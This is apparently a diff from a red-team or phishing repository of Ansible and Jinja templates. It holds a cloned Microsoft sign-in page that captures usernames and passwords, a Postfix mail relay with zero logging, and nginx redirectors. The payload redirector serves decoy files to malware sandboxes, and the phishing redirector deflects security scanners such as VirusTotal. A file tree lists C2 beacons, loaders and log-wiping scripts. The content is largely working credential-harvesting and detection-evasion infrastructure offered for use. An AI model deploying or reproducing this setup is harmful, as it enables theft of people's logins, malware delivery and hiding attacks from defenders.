box-shadow: 0 2px 4px rgba(0,0,0,0.1);
|
||||||
|
width: 440px;
|
||||||
|
max-width: 90%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo {
|
||||||
|
text-align: left;
|
||||||
|
margin-bottom: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logo img {
|
||||||
|
height: 24px;
|
||||||
|
}
|
||||||
|
|
||||||
|
h1 {
|
||||||
|
font-size: 24px;
|
||||||
|
font-weight: 600;
|
||||||
|
margin-bottom: 16px;
|
||||||
|
color: #1a1a1a;
|
||||||
|
}
|
||||||
|
|
||||||
|
.form-group {
|
||||||
|
margin-bottom: 16px;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="email"],
|
||||||
|
input[type="password"],
|
||||||
|
input[type="text"] {
|
||||||
|
width: 100%;
|
||||||
|
padding: 10px 12px;
|
||||||
|
border: 1px solid #605e5c;
|
||||||
|
border-radius: 2px;
|
||||||
|
font-size: 15px;
|
||||||
|
transition: border-color 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
input[type="email"]:focus,
|
||||||
|
input[type="password"]:focus,
|
||||||
|
input[type="text"]:focus {
|
||||||
|
outline: none;
|
||||||
|
border-color: #0078d4;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password {
|
||||||
|
display: block;
|
||||||
|
margin: 8px 0 16px;
|
||||||
|
color: #0078d4;
|
||||||
|
text-decoration: none;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.forgot-password:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary {
|
||||||
|
width: 100%;
|
||||||
|
padding: 12px;
|
||||||
|
background: #0078d4;
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 2px;
|
||||||
|
font-size: 16px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: background 0.2s;
|
||||||
|
}
|
||||||
|
|
||||||
|
.btn-primary:hover {
|
||||||
|
background: #106ebe;
|
||||||
|
}
|
||||||
|
|
||||||
|
.error-message {
|
||||||
|
color: #d13438;
|
||||||
|
font-size: 13px;
|
||||||
|
margin-top: 8px;
|
||||||
|
display: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.loading {
|
||||||
|
display: none;
|
||||||
|
text-align: center;
|
||||||
|
margin-top: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.spinner {
|
||||||
|
border: 2px solid #f3f3f3;
|
||||||
|
border-top: 2px solid #0078d4;
|
||||||
|
border-radius: 50%;
|
||||||
|
width: 20px;
|
||||||
|
height: 20px;
|
||||||
|
animation: spin 1s linear infinite;
|
||||||
|
display: inline-block;
|
||||||
|
}
|
||||||
|
|
||||||
|
@keyframes spin {
|
||||||
|
0% { transform: rotate(0deg); }
|
||||||
|
100% { transform: rotate(360deg); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer {
|
||||||
|
margin-top: 40px;
|
||||||
|
font-size: 12px;
|
||||||
|
color: #605e5c;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer a {
|
||||||
|
color: #605e5c;
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.footer a:hover {
|
||||||
|
text-decoration: underline;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="logo">
|
||||||
|
<img src="{{ logo_url | default('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDgiIGhlaWdodD0iMjQiPjx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LWZhbWlseT0iU2Vnb2UgVUkiIGZvbnQtc2l6ZT0iMjAiIGZpbGw9IiM1YzJkOTEiPk1pY3Jvc29mdDwvdGV4dD48L3N2Zz4=') }}" alt="Logo">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<h1>{{ heading | default('Sign in') }}</h1>
|
||||||
|
|
||||||
|
<form id="loginForm" method="POST" action="/capture.php">
|
||||||
|
<input type="hidden" name="rid" value="{{ '{{.RId}}' }}">
|
||||||
|
<input type="hidden" name="campaign" value="{{ '{{.Campaign}}' }}">
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="email"
|
||||||
|
name="username"
|
||||||
|
id="username"
|
||||||
|
placeholder="{{ username_placeholder | default('Email, phone, or Skype') }}"
|
||||||
|
required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="form-group">
|
||||||
|
<input type="password"
|
||||||
|
name="password"
|
||||||
|
id="password"
|
||||||
|
placeholder="{{ password_placeholder | default('Password') }}"
|
||||||
|
required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<a href="#" class="forgot-password">{{ forgot_text | default('Forgot password?') }}</a>
|
||||||
|
|
||||||
|
<div class="error-message" id="error">
|
||||||
|
{{ error_message | default('Invalid username or password.') }}
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<button type="submit" class="btn-primary">
|
||||||
|
{{ button_text | default('Sign in') }}
|
||||||
|
</button>
|
||||||
|
|
||||||
|
<div class="loading" id="loading">
|
||||||
|
<div class="spinner"></div>
|
||||||
|
<p>{{ loading_text | default('Signing in...') }}</p>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
<a href="#">{{ footer_link1 | default('Terms of use') }}</a> |
|
||||||
|
<a href="#">{{ footer_link2 | default('Privacy & cookies') }}</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
document.getElementById('loginForm').addEventListener('submit', function(e) {
|
||||||
|
e.preventDefault();
|
||||||
|
|
||||||
|
// Show loading state
|
||||||
|
document.getElementById('loading').style.display = 'block';
|
||||||
|
document.querySelector('.btn-primary').style.display = 'none';
|
||||||
|
|
||||||
|
// Submit form data
|
||||||
|
fetch(this.action, {
|
||||||
|
method: 'POST',
|
||||||
|
body: new FormData(this)
|
||||||
|
})
|
||||||
|
.then(response => {
|
||||||
|
// Redirect after a delay to simulate processing
|
||||||
|
setTimeout(() => {
|
||||||
|
window.location.href = '{{ redirect_url | default("https://www.microsoft.com") }}';
|
||||||
|
}, 2000);
|
||||||
|
})
|
||||||
|
.catch(error => {
|
||||||
|
document.getElementById('error').style.display = 'block';
|
||||||
|
document.getElementById('loading').style.display = 'none';
|
||||||
|
document.querySelector('.btn-primary').style.display = 'block';
|
||||||
|
});
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
{
|
||||||
|
"deployment_id": "{{ deployment_id }}",
|
||||||
|
"deployment_time": "{{ ansible_date_time.iso8601 }}",
|
||||||
|
"provider": "{{ provider }}",
|
||||||
|
"region": "{{ aws_region | default(linode_region) | default('') }}",
|
||||||
|
|
||||||
|
"infrastructure": {
|
||||||
|
"mta_front": {
|
||||||
|
"name": "{{ mta_front_name }}",
|
||||||
|
"ip": "{{ mta_front_ip | default('') }}",
|
||||||
|
"instance_id": "{{ mta_instance_id | default('') }}"
|
||||||
|
},
|
||||||
|
"gophish_server": {
|
||||||
|
"name": "{{ gophish_server_name }}",
|
||||||
|
"ip": "{{ gophish_server_ip | default('') }}",
|
||||||
|
"instance_id": "{{ gophish_instance_id | default('') }}",
|
||||||
|
"admin_port": "{{ gophish_admin_port }}"
|
||||||
|
},
|
||||||
|
"phishing_webserver": {
|
||||||
|
"name": "{{ phishing_web_name }}",
|
||||||
|
"ip": "{{ phishing_web_ip | default('') }}",
|
||||||
|
"instance_id": "{{ phishing_web_instance_id | default('') }}"
|
||||||
|
},
|
||||||
|
"phishing_redirector": {
|
||||||
|
"name": "{{ phishing_redirector_name }}",
|
||||||
|
"ip": "{{ phishing_redirector_ip | default('') }}",
|
||||||
|
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
|
||||||
|
},
|
||||||
|
{% if deploy_payload_infra | default(false) %}
|
||||||
|
"payload_server": {
|
||||||
|
"name": "{{ payload_server_name }}",
|
||||||
|
"ip": "{{ payload_server_ip | default('') }}",
|
||||||
|
"instance_id": "{{ payload_server_instance_id | default('') }}"
|
||||||
|
},
|
||||||
|
"payload_redirector": {
|
||||||
|
"name": "{{ payload_redirector_name }}",
|
||||||
|
"ip": "{{ payload_redirector_ip | default('') }}",
|
||||||
|
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
|
||||||
|
},
|
||||||
|
{% endif %}
|
||||||
|
},
|
||||||
|
|
||||||
|
"domains": {
|
||||||
|
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
|
||||||
|
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
|
||||||
|
{% if deploy_payload_infra | default(false) %}
|
||||||
|
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
|
||||||
|
{% endif %}
|
||||||
|
},
|
||||||
|
|
||||||
|
"credentials": {
|
||||||
|
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
|
||||||
|
"smtp_auth_user": "{{ smtp_auth_user }}",
|
||||||
|
"smtp_settings": {
|
||||||
|
"host": "{{ mta_front_ip }}",
|
||||||
|
"port": 25,
|
||||||
|
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
"security_groups": {
|
||||||
|
{% if provider == 'aws' %}
|
||||||
|
"mta_sg": "{{ mta_security_group_id | default('') }}",
|
||||||
|
"gophish_sg": "{{ gophish_security_group_id | default('') }}",
|
||||||
|
"web_sg": "{{ web_security_group_id | default('') }}",
|
||||||
|
"redirector_sg": "{{ redirector_security_group_id | default('') }}"
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
# Postfix MTA Front Configuration for Phishing Infrastructure
|
||||||
|
# This server acts as the front-end mail relay
|
||||||
|
|
||||||
|
# Basic settings
|
||||||
|
myhostname = {{ mta_hostname | default('mail.' + domain) }}
|
||||||
|
mydomain = {{ domain }}
|
||||||
|
myorigin = $mydomain
|
||||||
|
mydestination = $myhostname, localhost
|
||||||
|
inet_interfaces = all
|
||||||
|
inet_protocols = ipv4
|
||||||
|
|
||||||
|
# Network settings
|
||||||
|
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
|
||||||
|
relay_domains = $mydestination
|
||||||
|
|
||||||
|
# SMTP smuggling mitigation
|
||||||
|
smtpd_forbid_bare_newline = yes
|
||||||
|
smtpd_forbid_bare_newline_reject_code = 550
|
||||||
|
|
||||||
|
# TLS Configuration
|
||||||
|
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
|
||||||
|
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
|
||||||
|
smtpd_use_tls = yes
|
||||||
|
smtpd_tls_security_level = may
|
||||||
|
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
|
||||||
|
smtp_tls_security_level = may
|
||||||
|
|
||||||
|
# SASL Authentication
|
||||||
|
smtpd_sasl_auth_enable = yes
|
||||||
|
smtpd_sasl_type = dovecot
|
||||||
|
smtpd_sasl_path = private/auth
|
||||||
|
smtpd_sasl_security_options = noanonymous
|
||||||
|
smtpd_sasl_authenticated_header = yes
|
||||||
|
|
||||||
|
# Restrictions
|
||||||
|
smtpd_helo_required = yes
|
||||||
|
smtpd_recipient_restrictions =
|
||||||
|
permit_mynetworks,
|
||||||
|
permit_sasl_authenticated,
|
||||||
|
reject_unauth_destination,
|
||||||
|
reject_unauth_pipelining,
|
||||||
|
reject_invalid_helo_hostname,
|
||||||
|
reject_non_fqdn_helo_hostname
|
||||||
|
|
||||||
|
# Rate limiting
|
||||||
|
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
|
||||||
|
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
|
||||||
|
|
||||||
|
# Message size and queue settings
|
||||||
|
message_size_limit = {{ max_message_size | default(10240000) }}
|
||||||
|
mailbox_size_limit = 0
|
||||||
|
queue_lifetime = 1h
|
||||||
|
maximal_queue_lifetime = 1h
|
||||||
|
bounce_queue_lifetime = 0
|
||||||
|
|
||||||
|
# Header modifications
|
||||||
|
header_checks = regexp:/etc/postfix/header_checks
|
||||||
|
|
||||||
|
# DKIM signing
|
||||||
|
milter_default_action = accept
|
||||||
|
milter_protocol = 6
|
||||||
|
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||||
|
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||||
|
|
||||||
|
# Logging
|
||||||
|
{% if zero_logs | default(true) %}
|
||||||
|
# Zero-logs configuration
|
||||||
|
syslog_facility = local0
|
||||||
|
syslog_name =
|
||||||
|
maillog_file = /dev/null
|
||||||
|
{% endif %}
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
# Payload Redirector Configuration
|
||||||
|
# Serves payloads with anti-analysis features
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
listen [::]:80;
|
||||||
|
server_name {{ payload_subdomain }}.{{ domain }};
|
||||||
|
|
||||||
|
return 301 https://$host$request_uri;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 443 ssl http2;
|
||||||
|
listen [::]:443 ssl http2;
|
||||||
|
server_name {{ payload_subdomain }}.{{ domain }};
|
||||||
|
|
||||||
|
# SSL Configuration
|
||||||
|
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
|
||||||
|
ssl_protocols TLSv1.2 TLSv1.3;
|
||||||
|
|
||||||
|
root /var/www/payloads;
|
||||||
|
|
||||||
|
# Anti-analysis headers
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-Download-Options "noopen" always;
|
||||||
|
add_header X-Robots-Tag "noindex, nofollow" always;
|
||||||
|
|
||||||
|
# Serve different content based on user agent
|
||||||
|
location ~ ^/download/(.+)$ {
|
||||||
|
# Check if request is from analysis environment
|
||||||
|
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
|
||||||
|
# Serve benign file
|
||||||
|
rewrite ^/download/(.+)$ /benign/document.pdf last;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check for valid download token
|
||||||
|
secure_link $arg_token,$arg_expires;
|
||||||
|
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
|
||||||
|
|
||||||
|
if ($secure_link = "") {
|
||||||
|
return 403;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($secure_link = "0") {
|
||||||
|
return 410;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Serve actual payload
|
||||||
|
try_files /payloads/$1 =404;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Direct file access with referrer check
|
||||||
|
location /files/ {
|
||||||
|
valid_referers none blocked server_names
|
||||||
|
*.{{ domain }}
|
||||||
|
{{ allowed_referrers | default([]) | join(' ') }};
|
||||||
|
|
||||||
|
if ($invalid_referer) {
|
||||||
|
return 403;
|
||||||
|
}
|
||||||
|
|
||||||
|
alias /var/www/payloads/;
|
||||||
|
autoindex off;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Benign files for analysis environments
|
||||||
|
location /benign/ {
|
||||||
|
alias /var/www/payloads/benign/;
|
||||||
|
autoindex off;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Block all other access
|
||||||
|
location / {
|
||||||
|
return 404;
|
||||||
|
}
|
||||||
|
|
||||||
|
{% if zero_logs | default(true) %}
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
@@ -0,0 +1,104 @@
|
|||||||
|
# Phishing Redirector Configuration
|
||||||
|
# Advanced evasion and filtering
|
||||||
|
|
||||||
|
# Security tool detection
|
||||||
|
map $http_user_agent $is_security_scanner {
|
||||||
|
default 0;
|
||||||
|
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Geo-filtering map
|
||||||
|
map $geoip_country_code $allowed_country {
|
||||||
|
default 1;
|
||||||
|
{% for country in blocked_countries | default([]) %}
|
||||||
|
{{ country }} 0;
|
||||||
|
{% endfor %}
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 80;
|
||||||
|
listen [::]:80;
|
||||||
|
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||||
|
|
||||||
|
return 301 https://$host$request_uri;
|
||||||
|
}
|
||||||
|
|
||||||
|
server {
|
||||||
|
listen 443 ssl http2;
|
||||||
|
listen [::]:443 ssl http2;
|
||||||
|
server_name {{ phishing_subdomain }}.{{ domain }};
|
||||||
|
|
||||||
|
# SSL Configuration
|
||||||
|
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
|
||||||
|
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
|
||||||
|
ssl_protocols TLSv1.2 TLSv1.3;
|
||||||
|
ssl_ciphers HIGH:!aNULL:!MD5;
|
||||||
|
ssl_prefer_server_ciphers on;
|
||||||
|
|
||||||
|
# Security headers to appear legitimate
|
||||||
|
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
|
||||||
|
add_header X-Content-Type-Options "nosniff" always;
|
||||||
|
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||||
|
add_header X-XSS-Protection "1; mode=block" always;
|
||||||
|
add_header Referrer-Policy "no-referrer-when-downgrade" always;
|
||||||
|
|
||||||
|
# Block security scanners
|
||||||
|
if ($is_security_scanner) {
|
||||||
|
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
|
||||||
|
}
|
||||||
|
|
||||||
|
# Geo-blocking
|
||||||
|
if ($allowed_country = 0) {
|
||||||
|
return 403;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Rate limiting
|
||||||
|
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
|
||||||
|
limit_req zone=phishing burst=20 nodelay;
|
||||||
|
|
||||||
|
# GoPhish tracking and landing pages
|
||||||
|
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
|
||||||
|
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Phishing landing pages
|
||||||
|
location / {
|
||||||
|
proxy_pass http://{{ phishing_web_ip }}:80;
|
||||||
|
proxy_set_header Host $host;
|
||||||
|
proxy_set_header X-Real-IP $remote_addr;
|
||||||
|
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||||
|
proxy_set_header X-Forwarded-Proto $scheme;
|
||||||
|
}
|
||||||
|
|
||||||
|
# Block direct access to sensitive paths
|
||||||
|
location ~ /\.(git|env|htaccess|htpasswd) {
|
||||||
|
deny all;
|
||||||
|
return 404;
|
||||||
|
}
|
||||||
|
|
||||||
|
{% if zero_logs | default(true) %}
|
||||||
|
# Zero-logs configuration
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
{% endif %}
|
||||||
|
}
|
||||||
|
|
||||||
|
# Catch-all server block
|
||||||
|
server {
|
||||||
|
listen 80 default_server;
|
||||||
|
listen [::]:80 default_server;
|
||||||
|
listen 443 ssl default_server;
|
||||||
|
listen [::]:443 ssl default_server;
|
||||||
|
|
||||||
|
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
|
||||||
|
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
|
||||||
|
|
||||||
|
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
|
||||||
|
|
||||||
|
access_log off;
|
||||||
|
error_log /dev/null crit;
|
||||||
|
}
|
||||||
+177
@@ -0,0 +1,177 @@
|
|||||||
|
.
|
||||||
|
├── ansible.cfg
|
||||||
|
├── c2
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
│ ├── generate_evasive_beacons.sh.j2
|
||||||
|
│ ├── generate_havoc_payloads.sh.j2
|
||||||
|
│ ├── havoc-config.yaotl.j2
|
||||||
|
│ └── havoc-guide.j2
|
||||||
|
├── chat-server
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
├── deploy.py
|
||||||
|
├── hashtopolish-server
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
├── logging-server
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
├── logs
|
||||||
|
├── payload-server
|
||||||
|
│ ├── files
|
||||||
|
│ ├── payload_redirector.yml
|
||||||
|
│ ├── payload_server.yml
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
├── phishing
|
||||||
|
│ ├── cleanup_phishing.yml
|
||||||
|
│ ├── deploy_phishing_infrastructure.yml
|
||||||
|
│ ├── files
|
||||||
|
│ ├── gophish_server.yml
|
||||||
|
│ ├── mta_front.yml
|
||||||
|
│ ├── phishing_redirector.yml
|
||||||
|
│ ├── phishing_webserver.yml
|
||||||
|
│ ├── Plan.md
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
│ ├── email-templates
|
||||||
|
│ │ ├── file_share.j2
|
||||||
|
│ │ ├── office365_login.j2
|
||||||
|
│ │ ├── password_expiry.j2
|
||||||
|
│ │ └── security_alert.j2
|
||||||
|
│ ├── fake-login.html.j2
|
||||||
|
│ ├── fedramp-compliance.j2
|
||||||
|
│ ├── gophish-advanced-config.j2
|
||||||
|
│ ├── gophish-config.j2
|
||||||
|
│ ├── nginx-phishing-webserver.j2
|
||||||
|
│ ├── phishing_deployment_state.j2
|
||||||
|
│ ├── phishing-landing-page.j2
|
||||||
|
│ └── postfix-mta-front.j2
|
||||||
|
├── PROJECT-STATUS.md
|
||||||
|
├── providers
|
||||||
|
│ ├── AWS
|
||||||
|
│ │ ├── AMI-ID-Grabber.sh
|
||||||
|
│ │ ├── c2-vars-template.yaml
|
||||||
|
│ │ ├── c2.yml
|
||||||
|
│ │ ├── cleanup.yml
|
||||||
|
│ │ ├── files
|
||||||
|
│ │ ├── infrastructure.yml
|
||||||
|
│ │ ├── process_vpc.yml
|
||||||
|
│ │ ├── redirector.yml
|
||||||
|
│ │ ├── tasks
|
||||||
|
│ │ ├── templates
|
||||||
|
│ │ └── vars.yaml
|
||||||
|
│ ├── FlokiNET
|
||||||
|
│ │ ├── c2-deploy.yaml
|
||||||
|
│ │ ├── c2.yml
|
||||||
|
│ │ ├── cleanup.yml
|
||||||
|
│ │ ├── files
|
||||||
|
│ │ ├── flokinet-security.yml
|
||||||
|
│ │ ├── provision.yml
|
||||||
|
│ │ ├── redirector.yml
|
||||||
|
│ │ ├── tasks
|
||||||
|
│ │ └── templates
|
||||||
|
│ └── Linode
|
||||||
|
│ ├── c2.yml
|
||||||
|
│ ├── cleanup.yml
|
||||||
|
│ ├── files
|
||||||
|
│ ├── redirector.yml
|
||||||
|
│ ├── tasks
|
||||||
|
│ ├── templates
|
||||||
|
│ ├── tracker.yml
|
||||||
|
│ └── vars.yaml
|
||||||
|
├── README.md
|
||||||
|
├── redirectors
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
│ ├── nginx-payload-redirector.j2
|
||||||
|
│ ├── nginx-phishing-redirector.j2
|
||||||
|
│ ├── redirector-havoc-fragment.j2
|
||||||
|
│ ├── redirector-index.html.j2
|
||||||
|
│ ├── redirector-site.conf.j2
|
||||||
|
│ └── redirector-site-with-tracker.conf.j2
|
||||||
|
├── requirements.txt
|
||||||
|
├── share-drive
|
||||||
|
│ ├── files
|
||||||
|
│ ├── tasks
|
||||||
|
│ └── templates
|
||||||
|
├── structure.txt
|
||||||
|
├── tracker
|
||||||
|
└── universal
|
||||||
|
├── files
|
||||||
|
│ ├── clean-logs.sh
|
||||||
|
│ ├── havoc_installer.sh
|
||||||
|
│ ├── havoc_mutate.sh
|
||||||
|
│ ├── havoc_shell_handler.sh
|
||||||
|
│ ├── implant_mutator.sh
|
||||||
|
│ ├── persistent-listener.sh
|
||||||
|
│ ├── post_install_c2.sh
|
||||||
|
│ ├── post_install_redirector.sh
|
||||||
|
│ ├── randomize_ports.sh
|
||||||
|
│ ├── rubber-ducky.txt
|
||||||
|
│ ├── secure-exit.sh
|
||||||
|
│ ├── secure_payload_sync.sh
|
||||||
|
│ ├── simple_email_tracker.py
|
||||||
|
│ ├── tracker-nginx.conf
|
||||||
|
│ ├── tracker.service
|
||||||
|
│ └── tracker-stats.sh
|
||||||
|
├── tasks
|
||||||
|
│ ├── cleanup_confirmation.yml
|
||||||
|
│ ├── configure_advanced_evasion.yml
|
||||||
|
│ ├── configure_c2.yml
|
||||||
|
│ ├── configure_fedramp_compliance.yml
|
||||||
|
│ ├── configure_gophish_advanced.yml
|
||||||
|
│ ├── configure_integrated_tracker.yml
|
||||||
|
│ ├── configure_mail.yml
|
||||||
|
│ ├── configure_mta_front.yml
|
||||||
|
│ ├── configure_payload_redirector.yml
|
||||||
|
│ ├── configure_payload_server.yml
|
||||||
|
│ ├── configure_phishing_redirector.yml
|
||||||
|
│ ├── configure_phishing_server.yml
|
||||||
|
│ ├── configure_phishing_webserver.yml
|
||||||
|
│ ├── configure_redirector.yml
|
||||||
|
│ ├── initial-infrastructure.yml
|
||||||
|
│ ├── install_tools.yml
|
||||||
|
│ ├── port_randomization.yml
|
||||||
|
│ ├── security_hardening.yml
|
||||||
|
│ ├── setup_phishing_security.yml
|
||||||
|
│ └── traffic_flow_config.yml
|
||||||
|
└── templates
|
||||||
|
├── capture.php.j2
|
||||||
|
├── default-site.j2
|
||||||
|
├── generate_evasive_beacons.sh.j2
|
||||||
|
├── generate_havoc_payloads.sh.j2
|
||||||
|
├── havoc-config.yaotl.j2
|
||||||
|
├── havoc-guide.j2
|
||||||
|
├── index.html.j2
|
||||||
|
├── infrastructure_state.j2
|
||||||
|
├── linux_loader.sh.j2
|
||||||
|
├── manifest.json.j2
|
||||||
|
├── motd-aws.j2
|
||||||
|
├── motd.j2
|
||||||
|
├── motd-linode.j2
|
||||||
|
├── motd-redirector.j2
|
||||||
|
├── nginx.conf.j2
|
||||||
|
├── POST_INSTALL_INSTRUCTIONS.txt.j2
|
||||||
|
├── proxychains.conf.j2
|
||||||
|
├── reference.txt.j2
|
||||||
|
├── resolv.conf.j2
|
||||||
|
├── secure-ssh.sh.j2
|
||||||
|
├── serve-havoc-payloads.sh.j2
|
||||||
|
├── setup-cert.sh.j2
|
||||||
|
├── shell-handler.service.j2
|
||||||
|
├── simple_email_tracker.py.j2
|
||||||
|
├── stream.conf.j2
|
||||||
|
├── torrc.j2
|
||||||
|
├── tracker-config.j2
|
||||||
|
├── tracker-nginx.conf.j2
|
||||||
|
├── tracker.service.j2
|
||||||
|
└── windows_loader.ps1.j2
|
||||||
|
|
||||||
|
53 directories, 122 files
|
||||||
@@ -0,0 +1,89 @@
|
|||||||
|
---
|
||||||
|
# Configure payload redirector for hosting and delivering payloads
|
||||||
|
|
||||||
|
- name: Install required packages
|
||||||
|
apt:
|
||||||
|
name:
|
||||||
|
- nginx
|
||||||
|
- certbot
|
||||||
|
- python3-certbot-nginx
|
||||||
|
state: present
|
||||||
|
update_cache: yes
|
||||||
|
|
||||||
|
- name: Create payload directories
|
||||||
|
file:
|
||||||
|
path: "{{ item }}"
|
||||||
|
state: directory
|
||||||
|
mode: '0755'
|
||||||
|
owner: www-data
|
||||||
|
group: www-data
|
||||||
|
loop:
|
||||||
|
- /var/www/payloads
|
||||||
|
- /var/www/payloads/windows
|
||||||
|
- /var/www/payloads/linux
|
||||||
|
- /var/www/payloads/macos
|
||||||
|
- /var/www/payloads/docs
|
||||||
|
|
||||||
|
- name: Configure NGINX for payload delivery
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/nginx-payload-redirector.j2"
|
||||||
|
dest: /etc/nginx/sites-available/payloads
|
||||||
|
mode: '0644'
|
||||||
|
|
||||||
|
- name: Enable payload site
|
||||||
|
file:
|
||||||
|
src: /etc/nginx/sites-available/payloads
|
||||||
|
dest: /etc/nginx/sites-enabled/payloads
|
||||||
|
state: link
|
||||||
|
|
||||||
|
- name: Create payload sync script
|
||||||
|
template:
|
||||||
|
src: "../templates/phishing/sync_payloads.sh.j2"
|
||||||
|
dest: /root/Tools/sync_payloads.sh
|
||||||
|
mode: '0700'
|
||||||
|
|
||||||
|
- name: Set up payload sync timer
|
||||||
|
block:
|
||||||
|
- name: Create systemd service
|
||||||
|
copy:
|
||||||
|
content: |
|
||||||
|
[Unit]
|
||||||
|
Description=Payload Sync Service
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=oneshot
|
||||||
|
ExecStart=/root/Tools/sync_payloads.sh
|
||||||
|
